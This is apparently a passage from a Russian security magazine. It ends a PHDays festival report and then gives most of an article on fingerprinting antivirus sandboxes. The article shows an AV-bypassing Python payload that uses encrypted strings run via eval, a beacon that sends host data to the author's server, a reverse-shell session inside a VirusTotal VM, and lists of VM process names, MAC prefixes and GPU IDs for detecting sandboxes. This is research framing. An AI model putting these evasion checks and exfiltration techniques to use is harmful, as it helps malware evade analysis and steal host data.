году не было. Как я понял, этот кон курс был пере осмыслен в Root of the Hill —
усло вия кон курса час тично сов пада ют. Демонс три ровать спо соб ность трез во
мыс лить в любой ситу ации нуж но уже без штраф ных шотов, делая акцент
на ско рос ти при нятия пра виль ных решений. Боль ше ломай и получай за это
бал лы, мень ше триг гери WAF, укрепляя свои шан сы называть ся царем кибер -
горы. Кон курс более хар дкор ный, а в качес тве бонуса еще и стал дос тупен
несовер шенно лет ним учас тни кам. Все в плю се (кро ме жела ющих накидать ся,
конеч но).

Зо на тра дици онных кон курсов PHD

Впро чем, кон курс RoboCafe давал шанс получить алко голь в виде «пен ного»,
да еще и с закус кой — бутер бро дом. Для это го нуж но было лишь под чинить
себе робока фе, шаг за шагом обна ружи вая и экс плу ати руя уяз вимос ти сай та,
киос ка и мобиль ного при ложе ния.

Чем занять ся на PHD? Лутать бутер бро ды с кол басой. Бит ва была ожес -
точен ной

Ин терес иссле дова телей под сте гивал ся потен циаль ной воз можностью взло -
мать робока фе не толь ко что бы заполу чить тро фей ное пиво, но и что бы
устро ить бит ву роборук, бла го их в киос ке две. Задания решались, бал лы
копились, меня любез но угос тили колой, про демонс три ровав работу киос ка,
но до вос ста ния машин в робока фе было еще далеко.

Хлеб, кол баса и кола. И пусть весь мир подож дет

Ес ли «Кибер город» по ощу щени ям прос то бур лил, то на «Кибер хабе»
динами ка сов сем дру гая — все чин но, бла город но и даже как-то сон но.

В «Кибер хабе» за три дня было про чита но в общей слож ности 158 док -
ладов, вклю чая Standoff, вор кшо пы и док лады о раз работ ке. На тре ки Offense
и Defense в этом году приш лось по 18 док ладов на каж дый.

За те же три дня на «Кибера рене» было про чита но 244 док лада. В прош -
лом году, напом ню, соот ношение док ладов по темати кам кибер беза и биз -
неса сос тавило 119 к 134. Как вид но из этих цифр, тен денция прош лого года
с уве личе нием доли док ладов для биз нес-тре ка замет но укре пилась. Док -
лады «Кибер города» по циф рам (98 док ладов), видимо, име ют все шан сы
дог нать и обог нать трек кибер беза в сле дующем году.

Не безо пас ные про вер ки Nuclei

Сде лать фотог рафию пус той зоны «Кибер хаба» получи лось толь ко в кон це
треть его дня PHD. Внеш не усло вия мог ли показать ся спар тан ски ми, но это
более чем умес тный выбор. При ходи, слу шай док лады, учас твуй в кон курсах.
Все по сути и без суеты, ничего лиш него.

Там же я уви дел дос ку для рисова ния, над которой зна чил ся пот ряса ющий
по сво ей сути воп рос: «Какой совет в карь ере ты бы себе дал пять лет
назад?» Не знаю, чья это была идея, но мне пон равилось! В сле дующем году
мож но раз вить идею и сде лать полот но еще боль ше.

Boom, Flipper и котик

По мимо шуток, иллюс тра ций и пожела ний, там были зафик сирова ны и весь ма
любопыт ные мыс ли, в которых улав ливалось: верь в себя, не бой ся, рис куй,
все получит ся. Вро де бы и про пис ные исти ны, но порой имен но к ним мы
не спе шим прис лушивать ся.

Ито ги кибер битвы под ова ции зри телей

Фи нал Positive Hack Days Fest сос тоял из наг ражде ния победи телей кибер -
битвы Standoff 15 на глав ной сце не «Кулибин» под апло дис менты соб равших -
ся перед ней зри телей и яркие спе цэф фекты. Было замет но, что при всей
хариз ме и позитив ном нас трое учас тни ки бит вы поряд ком измо таны. По этой
же при чине на сце не их не мучили, а прос то наг ражда ли, хва лили, попут но
делая памят ные фотог рафии.

Dream Team — пер вое мес то

Сле дом за наг ражде нием финалис тов Standoff 15 пос ледовал кон церт
Uma2rman, Мина ева и ГРАН Жа, окон чатель но зак рыва ющий три дня фес -
тиваля.

ÀÓÒÐÎ

Учи тывая сме ну фор мата Positive Hack Days с ИБ-кон ферен ции (форума, если
угод но) на ИБ-фес тиваль, сто ит отме тить, что сами энту зиас ты инфо беза
и собс твен но хакеры уже не явля ются здесь каким-то клю чевым эле мен том.
Да, кон цепция все еще стро ится вок руг безопас ности, но чем даль ше, тем
боль ше это похоже на фор маль ность. Была как-то даже озву чена мысль, что
если из наз вания убрать сло во hack, то наз вание фес тиваля будет более чес -
тным и отно ситель но фор мата, и отно ситель но про исхо дящих на фес тивале
событий. Думаю, часть прав ды в этом есть.

С дру гой сто роны, было мно го позитив ных оце нок мероп риятия, осо бен но
от тех, кто не зас тал преж ний фор мат PHD. Если пос мотреть на PHDays Fest
как на совер шенно новый ивент, то понима ешь: посети телям пред лага ется
мно го полез ного и при ятно го.

Тут и богатая палит ра ИТ-нап равле ний с док ладами, и стен ды ком паний
и пар тне ров фес тиваля, где мож но было общать ся с их пред ста вите лями,
и даже воз можность для молоде жи выб рать вуз, пла нируя свое будущее.
Не говоря уже про мно гочис ленные кон курсы и про чие активнос ти. Раз мах
фес тиваля впе чат ляет, и я не удив люсь, если в сле дующем году нас будет
ждать что-то еще более гран диоз ное.

В этом году сло ган PHD — «Кибер город. Будущее стро им мы» — весь ма
точ но отра жает суть про исхо дяще го вок руг нас здесь и сей час. Это воп рос
выбора: идти или сто ять; изу чать и осва ивать новое или пытать ся оста новить
прог ресс; нападать или защищать. Имен но вмес те, дви жимые общей созида -
тель ной иде ей, мы можем шаг за шагом стро ить свое будущее, и не толь ко
циф ровое.

https://15.standoff365.com/infra/urban/
https://15.standoff365.com/infra/transport/
https://15.standoff365.com/infra/neftegaz/
https://15.standoff365.com/infra/metal/
https://15.standoff365.com/infra/metal/
https://15.standoff365.com/infra/energetika/
https://15.standoff365.com/infra/banks/
https://15.standoff365.com/infra/aviation/
https://15.standoff365.com/
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ВЗЛОМ

Как устро ены анти вирус ные песоч ницы,
извес тно лишь понас лышке: вен доры
надеж но хра нят свои сек реты. Что мы уви -
дим, если попыта емся заг лянуть к ним
под капот? В этой статье — резуль таты
экспе римен та по иссле дова нию сред ана -
лиза вре донос ного ПО, вклю чая VirusTotal.
Мы написа ли скрипт для обхо да песоч ниц
и получи ли reverse shell: теперь мы точ но
зна ем, что там внут ри.

Од нажды мы решили про вес ти тес товую фишин говую ата ку в нашей орга -
низа ции, что бы под нять уро вень осве дом леннос ти сот рудни ков. В роли нас -
тояще го «хакера» я решил пос тро ить всю инфраструк туру сам. Зарегал под -
дель ный домен, под нял свой поч товый сер вер, сер вер для при ема отсту ка.
И тут приш ло вре мя писать кли ент скую часть, а имен но ту полез ную наг рузку,
которая будет отправ лять ся поль зовате лю.

Для получе ния исполня емо го фай ла я исполь зовал связ ку Python +
PyInstaller. Идея сос тояла в том, что бы соб рать минимум информа ции о хос те
и понять, кому из сот рудни ков он при над лежит. Основной информа цией стал
IP-адрес машины в локаль ной сети пред при ятия, пос коль ку он никог да
не меня ется и по нему мож но выяс нить, кто же все-таки запус тил «вре донос».

Статья написа на в иссле дова тель ских целях, име -
ет озна коми тель ный харак тер и пред назна чена
для спе циалис тов по безопас ности. Автор
и редак ция не несут ответс твен ности за любой
вред, при чинен ный с при мене нием изло жен ной
информа ции. Исполь зование или рас простра -
нение ПО без лицен зии про изво дите ля может
прес ледовать ся по закону.

При мер информа ции, которая пос тупала на мой сер вер, если кто-то запус кал
исполня емый файл:

Hostname: <hostname>
Version: <version_os>
Release: <number_release>
Architecture: <architecture>
Type machine: <type>
Network name: <network_name>
User: <run_user>
OS type: <windows/linux>
Local_ip: <local_ip>

На машинах орга низа ции, которую мы тес тирова ли, сто ит анти вирус ное
решение от ком пании Kaspersky — Kaspersky Endpoint Security. Для его обхо -
да я исполь зовал воз можность Python выпол нять код, который переда ется
в виде стро ки. При веду при мер.

Вот исходный код на Python для получе ния :OS type

  os_type = platform.system()

А так выг лядит обфусци рован ный код:

  command_crypt = b'k\xb0\x0fp4\x03\xe9D\xe0\x01\xd5Z}\xc1\x85\xa42\xc5
6\x9f\xc0\x81\xaf\t\xe5\x08k!\x81\xd5\xcc\xf0'

   command_decrypt = func_decrypt(command_crypt, key_decrypt)
  os_type = eval(command_decrypt)

Ре али зация нес ложная. Сна чала мы шиф руем все стро ки кода с исполь -
зовани ем фун кции шиф рования, затем исполь зуем их в ито говом фай ле,
из которо го будет получен исполня емый файл. В нем содер жится код с такой
струк турой:
1. За шиф рован ная стро ка кода.
2. Де шиф ровка зашиф рован ной стро ки кода.
3. Ее выпол нение.

По лучен ный исполня емый файл я помес тил на сер вер. В зависи мос ти
от передан ного в зап росе User-Agent скрипт переда вал ся под нуж ную ОС.
Ког да поль зователь перехо дил по фишин говой ссыл ке, ему отправ лялся
архив, замас кирован ный под файл , пос ле чего выпол нялся редирект

на реаль ный сайт ком пании, что бы было менее подоз ритель но.

.xls

Так вот, еще до того, как я выг рузил файл на сер вер, я уже начал получать
отсту ки от непонят ных для меня хос тов. Вот при мер одно го из таких:

Hostname: DESKTOP-HESL6H8
 Version: 10.0.18362
 Release: 10
 Architecture: ('64bit', 'WindowsPE')
 Type machine: AMD64
 Network name: DESKTOP-HESL6H8
 User: G58gQ
 OS type: Windows
 Local_ip: 10.16.202.175

Сра зу бро сает ся в гла за стран ное имя поль зовате ля, как буд то бы сге нери -
рован ное. Единс твен ная «утеч ка» мог ла про изой ти с машины, на которой я
тес тировал обход анти виру са Kaspersky. Тог да я не стал обра щать вни мания
на это, пос коль ку анти вирус все рав но не ругал ся на мой файл. И я бла гопо -
луч но забил на этот факт до недав него вре мени, пока не заин тересо вал ся
обхо дом песоч ниц.

ÈÄÅß ÏÎ ÑÁÎÐÓ ÈÍÔÎÐÌÀÖÈÈ Î ÏÅÑÎ×ÍÈÖÀÕ

Пред положи тель но тог да я получал отсту ки из песоч ниц Kaspersky, которые
ана лизи рова ли файл с неиз вес тной сиг натурой. Поэто му я решил: раз при -
ходят зап росы, зна чит, у песоч ниц есть дос туп в интернет и он не бло киру -
ется. Если усо вер шенс тво вать скрипт с reverse shell, что бы не ловить ся прос -
то по сиг натуре, мож но поп робовать полазить по такой песоч нице. Осно ву
для реали зации этой идеи я взял с сай та .revshells.com

Для экспе римен тов исполь зовалась машина с белым IP. Я ском пилиро вал
файл, и анти вирус пос ле пары под клю чений его ней тра лизо вал. А я стал
ждать. И... ничего, я так и не получил кон некта.

Но при заг рузке прог раммы на VirusTotal вир туаль ные сре ды все-таки поз -
воля ют вза имо дей ство вать с хос том пос ле под клю чения:

root@hostname:~# nc -lvnp 8080
Listening on 0.0.0.0 8080

Connection received on 34.86.36.138 49171
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\azure\Downloads>
PS C:\Users\azure\Downloads> dir
dir
PS C:\Users\azure\Downloads> cd ..
cd ..
PS C:\Users\azure> dir
dir

Directory: C:\Users\azure

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        3/31/2022   5:04 AM                .idlerc
d-----         1/6/2023  10:44 AM                .ms-ad
d-r---        3/25/2022   4:09 PM                Contacts
d-r---        3/25/2022   6:25 PM                Desktop
d-r---        3/25/2022   4:09 PM                Documents
d-r---         5/5/2025   8:45 AM                Downloads
d-r---        3/25/2022   4:09 PM                Favorites
d-r---        3/25/2022   4:09 PM                Links
d-r---        3/25/2022   4:09 PM                Music
d-r---        3/25/2022   4:09 PM                Pictures
d-r---        3/25/2022   4:09 PM                Saved Games
d-r---        3/25/2022   4:09 PM                Searches
d-r---        3/25/2022   4:09 PM                Videos

PS C:\Users\azure> Get-Process
Get-Process

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
115       9    15448      15812       0.64    932   0 audiodg
31       5     1080       3348       0.02   2168   1 conhost
35       5     1140       3748       0.02   2444   1 conhost
31       5     1080       3344       0.00   2460   1 conhost
31       5     1076       3348       0.03   2560   1 conhost
31       5     1076       3344       0.02   2648   1 conhost
31       5     1076       3344       0.00   2668   1 conhost
31       5     1080       3312       0.02   2788   1 conhost
31       5     1080       3316       0.00   2812   1 conhost
434      11     1840       4080       0.86    328   0 csrss
325      15     2876       5900       1.19    384   1 csrss

...

79       7     1416       5280       0.06   2056   0 unsecapp
81      10     1460       4728       0.64    376   0 wininit
112       9     2692       7520       1.77    424   1 winlogon
182      11     3532       9852       0.13    584   0 WmiPrvSE
124       9     2280       6820       0.05   1836   0 WmiPrvSE
133       9     2464       7236       0.14   2744   0 WmiPrvSE
439      32     9896      27188       0.83   2484   0 wmpnetwk

PS C:\Users\azure> exit

В ито ге я решил исполь зовать так тику, как при про веде нии фишин говой ата -
ки, а имен но — исполь зовать скрипт для сбо ра информа ции о сис теме
и отправ ки дан ных на сер вер.

По нят но, что тех дан ных, которые я собирал в изна чаль ном скрип те, явно
малова то, поэто му я усо вер шенс тво вал прог рамму, и теперь она собира ет
сле дующие парамет ры:

OS type:
Version:
Release:
Architecture:
Type machine:
Network name:
User:
Hostname:
Local ip:
System Date:
   System boot time:
   Uptime:
System hardware:
System File:
   Directory: C:/Windows:
   Directory: C:/Program Files:
   Directory: C:/Program Files (x86):
   Directory: C:/ProgramData:
   Directory: C:/Windows/System32:
   Directory: C:/Windows/SysWOW64:
   Directory: C:/Windows/Temp:
   Directory: C:/Users:
User File:
   User directory:
   Directory: Downloads:
   Directory: Desktop:
   Directory: Pictures:
   Directory: Videos:
   Directory: Music:
   Directory: AppData\Local\Temp:
Process Data:

Так же я собирал информа цию о сис теме c помощью команд PowerShell,
исполь зуя модуль subprocess:

systeminfo
 ipconfig /all

 net user
 Get-WmiObject Win32_ComputerSystem

Get-Service
 Get-WmiObject Win32_VideoController
     

    
     

   
  

Get-CimInstance Win32_LogicalDisk -Filter "DriveType=3" | Select-
Object `DeviceID, @{Name="Size(GB)";Expression={"{0:N2}" -f ($_.Size
/ 1GB)}}, @{Name="Free(GB)";Expression={"{0:N2}" -f ($_.FreeSpace / 1
GB)}},@{Name="Used(GB)";Expression={"{0:N2}" -f (($_.Size - $_.
FreeSpace) / 1GB)}}

По ка скрип ты кру тились в дро бил ках песоч ниц, я
поис кал в интерне те информа цию об обхо де этих
самых песоч ниц. В ито ге мне пон равились эти
статьи:
•Де тек тим вир туал ки
•Де тект песоч ницы. Учим ся опре делять, работа -

ет ли при ложе ние в sandbox-изо ляции
•Как песок сквозь паль цы: могут ли вре доно сы

обой ти Sandbox и как они это дела ют

Мно гие идеи я буду брать из этих ста тей, так что
мой код по боль шей час ти не уни кален.

ÀÍÀËÈÇ ÏÎËÓ×ÅÍÍÎÉ ÈÍÔÎÐÌÀÖÈÈ

Ни же при веде на таб лица с дан ными, по которой мы будем в пер вую оче редь
опре делять сре ду.

Environ
ment

Hostna
me

OS
Version

CPU
count

Total
memory

Uptime
(day
hh.mm.
ss)

Process
count

Real PC 10 4 32 1 day
02:16:12

192

Real PC 10 6 16 13:51:48 275

VirTotal WIN-
5E07CO
S9ALR

10 1 1 0:01:04 56

VirTotal WIN-
QIUREV
VK5FL

7 1 8 0:01:41 60

VirTotal 715575 10 4 8 2:06:38 189

VirTotal 061544 10 2 8 2:03:42 161

VirTotal 424505 10 4 8 1:46:43 167

VirTotal azure-
PC

7 2 2 0:03:57 58

VirTotal azure-
PC

7 2 2 0:04:11 55

VirTotal WALKE
R-PC

7 2 1.5 0:01:25 54

VirTotal 00900B
C83803

10 2 2 0:50:12 52

VirTotal COMPU
TER-
9GV0UZ

10 2 4 0:08:47 103

VirTotal MZLTRR
8480508
84

10 1 2 2:41:42 51

Бро сает ся в гла за, что у некото рых хос тов явно проб лемы с CPU и MEM. Так -
же мы видим, что некото рые машины край не недол го находят ся в Uptime, а у
дру гих слиш ком мало запущен ных про цес сов. Все это кос венно может сви -
детель ство вать о вир туали зации. Дан ных от песоч ниц Kaspersky я не получил:
анти вирус ни в какую не хотел счи тать мой файл злов редным.

В ито ге я решил про верить свою прог рамму с помощью динами чес кого
ана лиза на их сай те . И как ока залось, исполня емый
файл, получен ный с исполь зовани ем связ ки Python 3.12 + PyInstaller, прос то
не может запус тить ся в их песоч нице.

opentip.kaspersky.com

И даже с уче том того, что файл содер жит reverse shell, ана лиз показы вает, что
файл безопа сен.

В общем, я вер нулся на Python 3.7 и поп робовал писать код на нем. Теперь
прог рамма ана лизи рова лась нор маль но. Вот дан ные, которые я получил.

Environ
ment

Hostna
me

OS
Version

CPU
count

Total
memory

Uptime
(day
hh.mm.
ss)

Process
count

Real PC 10 4 32 1 day
02:16:12

192

Real PC 10 6 16 13:51:48 275

Kas ELZ-
8K4JW2
UL3QY

10 2 4 0:08:16 100

Kas art-PC 7 2 1 0:04:15 44

Но получить с хос тов дан ные, похожие на те, что при ходи ли при про веде нии
тес товой фишин говой ата ки, мне не уда лось. И толь ко ког да я оста вил одни
коман ды PowerShell, мне наконец при лете ли отсту кива ния, которые были схо -
жи, по край ней мере  и  напоми нали те, что я уви дел в пер -
вый раз. К сожале нию, коман да  почему-то не отра бота ла,

и информа ции о количес тве запущен ных про цес сов мне получить не уда лось.

hostname username
Get-Process

Host Hostna
me

OS
Version

CPU
count

Total
memory

Uptime
(day
hh.mm.
ss)

Process
count

Real PC 4 32 1 day
02:16:12

192

Real PC 6 16 13:51:48 275

Kas DESKTO
P-
09L7V90

10 1 2 1:35:42 ?

Kas DESKTO
P-
NL2CM8
W

10 1 2 2:38:52 ?

Kas DESKTO
P-
WSP0LA
K

10 1 2 3:44:45 ?

Как вид но, эти хос ты тоже стра дают от нех ватки CPU и MEM.
Те перь копа ем глуб же: нам нуж ны MAC-адре са. По ним так же мож но

понять, что прог рамма запуще на в вир туаль ной сре де. На этом ловят ся хос ты
. Вот MAC-адре са, которые будем искать:WIN-\*

   {{0x00, 0x50, 0x56}, "VMware ESX 3, Server, Workstation, Player"},
   {{0x00, 0x0C, 0x29}, "VMware ESX 3, Server, Workstation, Player"},
   {{0x00, 0x05, 0x69}, "VMware ESX 3, Server, Workstation, Player"},
   {{0x00, 0x1с, 0x14}, "VMware ESX 3, Server, Workstation, Player"},

   {{0x00, 0x03, 0xff}, "Microsoft Hyper-V, Virtual Server, Virtual PC"}
,

   {{0x00, 0x0d, 0x3a}, "Microsoft Hyper-V, Virtual Server, Virtual PC"}
,

   {{0x00, 0x50, 0xf2}, "Microsoft Hyper-V, Virtual Server, Virtual PC"}
,

   {{0x7c, 0x1e, 0x52}, "Microsoft Hyper-V, Virtual Server, Virtual PC"}
,

   {{0x00, 0x12, 0x5a}, "Microsoft Hyper-V, Virtual Server, Virtual PC"}
,

   {{0x00, 0x15, 0x5d}, "Microsoft Hyper-V, Virtual Server, Virtual PC"}
,

   {{0x00, 0x17, 0xfa}, "Microsoft Hyper-V, Virtual Server, Virtual PC"}
,

   {{0x28, 0x18, 0x78}, "Microsoft Hyper-V, Virtual Server, Virtual PC"}
,

   {{0x7c, 0xed, 0x8d}, "Microsoft Hyper-V, Virtual Server, Virtual PC"}
,

   {{0x00, 0x1d, 0xd8}, "Microsoft Hyper-V, Virtual Server, Virtual PC"}
,

   {{0x00, 0x22, 0x48}, "Microsoft Hyper-V, Virtual Server, Virtual PC"}
,

   {{0x00, 0x25, 0xae}, "Microsoft Hyper-V, Virtual Server, Virtual PC"}
,

   {{0x60, 0x45, 0xbd}, "Microsoft Hyper-V, Virtual Server, Virtual PC"}
,

   {{0xdc, 0xb4, 0xc4}, "Microsoft Hyper-V, Virtual Server, Virtual PC"}
,

   {{0x00, 0x1c, 0x42}, "Parallels Desktop, Workstation, Server, 
Virtuozzo"},

   {{0x00, 0x0f, 0x4b}, "Virtual Iron 4"},
   {{0x00, 0x16, 0x3e}, "Red Hat Xen | Oracle VM | XenSource | Novell 

Xen"},
   {{0x08, 0x00, 0x27}, "Sun xVM VirtualBox"},

Продолжение статьи →

https://t.me/u_t_k_a
https://www.revshells.com/
https://xakep.ru/2013/11/08/61563/
https://xakep.ru/2018/02/27/detect-sandbox/
https://xakep.ru/2018/02/27/detect-sandbox/
https://www.securitylab.ru/analytics/544893.php
https://www.securitylab.ru/analytics/544893.php
https://opentip.kaspersky.com/
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А вот про цес сы, по которым мож но понять, что скрипт запущен в вир туаль ной
сре де или ана лизи рует ся в дебаг гере:

// Иконка VirtualBox в трее гостевой ОС
TEXT("VBoxTray.exe"),

// Служба VirtualBox Guest Additions
TEXT("VBoxService.exe"),
TEXT("vboxservice.exe"),

// Драйвер VirtualBox Guest
TEXT("vboxguest.sys"),

// VMware Tools
TEXT("vmtoolsd.exe"),
TEXT("vmwaretray.exe"),
TEXT("vmwareuser.exe"),
TEXT("vmsrvc.exe"),
TEXT("vmhgfs.sys"),
TEXT("vmware-vmx.exe"),
TEXT("vmware-authd.exe"),

// Hyper-V
TEXT("vmicvss.exe"),
// TEXT("vmms.exe"),  // Был обнаружен в реальной машине, 
закомментировано
TEXT("vmmem.exe"),
TEXT("vmwp.exe"),

// QEMU
TEXT("qemu-system-x86_64.exe"),
TEXT("qemu-vm-guest.exe"),

// Parallels
TEXT("prl_vm_app.exe"),
TEXT("prl_tools.exe"),
TEXT("prl_cc.exe"),
TEXT("SharedIntApp.exe"),

// Драйвер мыши виртуальной машины
TEXT("vmmouse.sys"),

// Xen Virtualization environment
TEXT("xenservice.exe"),

// Windows Sandbox
TEXT("WindowsSandbox.exe"),

// Sandboxie
TEXT("SandboxieRpcSs.exe"),
TEXT("SandboxieDcomLaunch.exe"),
TEXT("SbieSvc.exe"),
TEXT("SbieCtrl.exe"),

// Comodo Sandbox
TEXT("SxIn.exe"),

// Process Monitor — анализ поведения
TEXT("procmon.exe"),

// Обнаружен в процессах одной из песочниц VirusTotal
TEXT("VmRemoteGuest.exe"),

// Windows Debugging Tools
TEXT("ntsd.exe"),
TEXT("windbg.exe"),

// IDA Pro
TEXT("idaq.exe"),
TEXT("idag.exe"),

// x64dbg/x32dbg
TEXT("x64dbg.exe"),
TEXT("x32dbg.exe"),

И тут меня заин тересо вал вывод коман ды

Get-WmiObject Win32_VideoController

А имен но вот такие стро ки:

Name
Description
PNPDeviceID

Со бираю информа цию с хос тов:

Real PC:

Description                  : AMD Radeon(TM) Vega 10 Graphics
PNPDeviceID                  : PCI\VEN_1002&DEV_15DD&SUBSYS_512217AA&
REV_D0\4&35FEB52A&0&0041

Description                  : Intel(R) UHD Graphics 730
PNPDeviceID                  : PCI\VEN_8086&DEV_4692&SUBSYS_D0001458&
REV_0C\3&11583659&0&10

Kaspersky:

С сайта анализатора:

Hostname: ELZ-8K4JW2UL3QY
OS: Windows 10
Name                         : Microsoft Basic Display Adapter
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1AE0&DEV_A001&SUBSYS_00011AE0&
REV_01\3&13C0B0C5&0&18

Hostname: art-PC
OS: Windows 7
Name                         : Standard VGA Graphics Adapter
Description                  : Standard VGA Graphics Adapter
PNPDeviceID                  : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&
REV_02\3&1

Файлы, аналогичные файлам при проведении тестового фишинга:

Hostname: DESKTOP-09L7V90
OS: Windows 10
Name                         : Microsoft Basic Display Adapter
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&
REV_00\3&13C0B0C5&0&10

Hostname: DESKTOP-NL2CM8W
OS: Windows 10
Name                         : Microsoft Basic Display Adapter
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&
REV_00\3&13C0B0C5&0&10

Hostname: DESKTOP-WSP0LAK
OS: Windows 10
Name                         : Microsoft Basic Display Adapter
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&
REV_00\3&13C0B0C5&0&10

VirusTotal:

Hostname: WIN-5E07COS9ALR
OS: Windows 10
Name                         : Microsoft Hyper-V Video
Description                  : Microsoft Hyper-V Video
PNPDeviceID                  : VMBUS\{DA0A7802-E377-4AAC-8E77-
0558EB1073F8}\{5620E0C7-8062-4DCE-AEB7-520C7EF76171}

Hostname: WIN-QIUREVVK5FL
OS: Windows 7
Name                         : Microsoft Hyper-V Video
Caption                      : Microsoft Hyper-V Video
PNPDeviceID                  : VMBUS\{DA0A7802-E377-4AAC-8E77-
0558EB1073F8}\{5620E0C7-8062-4DCE-AEB7-520C7EF76171}

Hostname: 715575
OS: Windows 10
Name                         : AD59MKMM
Description                  : CMPMV5
PNPDeviceID                  : PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&
REV_00\3&61AAA01&0&78

Hostname: 061544
OS: Windows 10
Данные отсутствуют (команда не выполнилась)

Hostname: 424505
OS: Windows 10
Name                         : X9387726
Description                  : AE27H7US
NPDeviceID                  : PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&
REV_00\3&61AAA01&0&78

Hostname: azure-PC
OS: Windows 7
Name                         : Standard VGA Graphics Adapter
Description                  : Standard VGA Graphics Adapter
PNPDeviceID                  : PCI\VEN_1B36&DEV_0100&SUBSYS_11001AF4&
REV_05\3&2

Hostname: azure-PC
OS: Windows 7
Name                         : Standard VGA Graphics Adapter
Description                  : Standard VGA Graphics Adapter
PNPDeviceID                  : PCI\VEN_1B36&DEV_0100&SUBSYS_11001AF4&
REV_05\3&2

Hostname: 00900BC83803
OS: Windows 10
Name                         : Intel(R) UHD Graphics 630
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1234&DEV_5678&SUBSYS_9101112&
REV_01\3&ABCDE&0&11

Hostname: COMPUTER-9GV0UZ
OS: Windows 10
Name                         : Microsoft Basic Display Adapter
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1AE0&DEV_A001&SUBSYS_00011AE0&
REV_01\3&13C0B0C5&0&18

Hostname: MZLTRR848050884
OS: Windows 10
Name                        : Microsoft Basic Display Adapter
Description                 : Microsoft Basic Display Adapter
PNPDeviceID                 : PCI\VEN_8086&DEV_0412&SUBSYS_2AF7103C&
REV_06\3&21436425&0&10

Как вид но, есть пов торя ющиеся зна чения, а так же име на и опи сания, похожие
на дефол тные или сге нери рован ные. Допол нитель но к выводу о том, что
при про веде нии тес тирова ния по фишин гу мне при лета ли отсту ки
от Kaspersky, говорят оди нако вые  и , получен ные с сай та ана лиза тора

и отку да-то еще (отку да при лета ют стран ные отсту кива ния со стран ных хос -
тов, я так и не понял).

VEN DEV

В ито ге я получил сле дующие име на вир туаль ных адап теров:

  // Имена виртуальных видеоадаптеров
     char* virtual_keywords[] = {
    "Microsoft Basic Display Adapter",
    "VMware SVGA 3D",
    "VirtualBox Graphics Adapter",
    "Hyper-V Video",
    "Parallels Display Adapter (WDDM)",
    "QXL",
    "Red Hat QXL"
    "Xen VGA",
    "Citrix Display Adapter",
    "GDI Generic",
    "VBOX DISP Adapter"

Па раметр  ука зыва ет иден тифика тор логичес кого устрой ства

Win32 Plug and Play. Затем я попытал ся най ти инфу о том, какие иден тифика -
торы исполь зуют ся в вир туаль ных сре дах для виде окарт:

PNPDeviceID

// Виртуальные VEN- и DEV-коды
   char* virtual_code[] = {

    //  Vendor ID    Device ID

    // VMware
     "VEN_15AD", "DEV_0405",

    // VirtualBox
      "VEN_80EE", "DEV_BEEF", "DEV_CAFE",

    // Microsoft Hyper-V
     "VEN_\x0fDESKTOP-VVJHHG1414", "DEV_5353",

    // QEMU / KVM
     "VEN_1AF4", "DEV_1110",

    // Parallels Display Adapter
      "VEN_1AB8", "DEV_4000", "DEV_4005",

    // Citrix Xen
        "VEN_5853", "DEV_0001", "DEV_0002", "DEV_0003", "DEV_0004",
        "DEV_0005", "DEV_0006", "DEV_0007", "DEV_0008", "DEV_0009",
         "DEV_000A", "DEV_000B", "DEV_000C", "DEV_000D", "DEV_000V",
"DEV_000F",

    // Bochs / QEMU Generic VGA
     "VEN_1234", "DEV_1111",

    // Red Hat / QEMU
     "VEN_1B36", "DEV_0100",

    // Google
     "VEN_1AE0", "DEV_A001"
};

По ним мы будем опре делять наличие вир туаль ной сре ды. Теперь взгля нем
на дис ки.

Real PC:

OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
-------- -------- -------- --------
C:       465,12   66,92    398,20

Kaspersky:

С сайта анализатора:

Hostname: ELZ-8K4JW2UL3QY
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
-------- -------- -------- --------
C:       39.89    20.55    19.34

Hostname: art-PC
OS: Windows 7
DeviceID Size(GB) Free(GB) Used(GB)
-------- -------- -------- --------
C:       18.90    2.49     16.41
D:       1.00     0.87     0.13

Файлы, аналогичные файлам при проведении тестового фишинга:

Hostname: DESKTOP-09L7V90
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
-------- -------- -------- --------
C:       1,023.51 1,001.54 21.97

Hostname: DESKTOP-NL2CM8W
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
-------- -------- -------- --------
C:       1,023.51 1,001.54 21.97

Hostname: DESKTOP-WSP0LAK
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
-------- -------- -------- --------
C:       299.51   276.81   22.70

VirusTotal:

Hostname: WIN-5E07COS9ALR
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
-------- -------- -------- --------
C:       40.00    25.68    14.32
D:       64.00    63.87    0.13

Hostname: WIN-QIUREVVK5FL
OS: Windows 7
Данные почему-то отсутствуют.

Hostname: 715575
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
-------- -------- -------- --------
C:       208.15   104.83   103.32

Hostname: 061544
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
-------- -------- -------- --------
C:       208.15   55.46    152.69

Hostname: 424505
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
-------- -------- -------- --------
C:       208.15   104.83   103.32

Hostname: azure-PC
OS: Windows 7
DeviceID Size(GB) Free(GB) Used(GB)
-------- -------- -------- --------
C:       119.90   89.61    30.29

Hostname: azure-PC
OS: Windows 7
DeviceID Size(GB) Free(GB) Used(GB)
-------- -------- -------- --------
C:       119.90   89.61    30.30

Hostname: 00900BC83803
OS: Windows 10
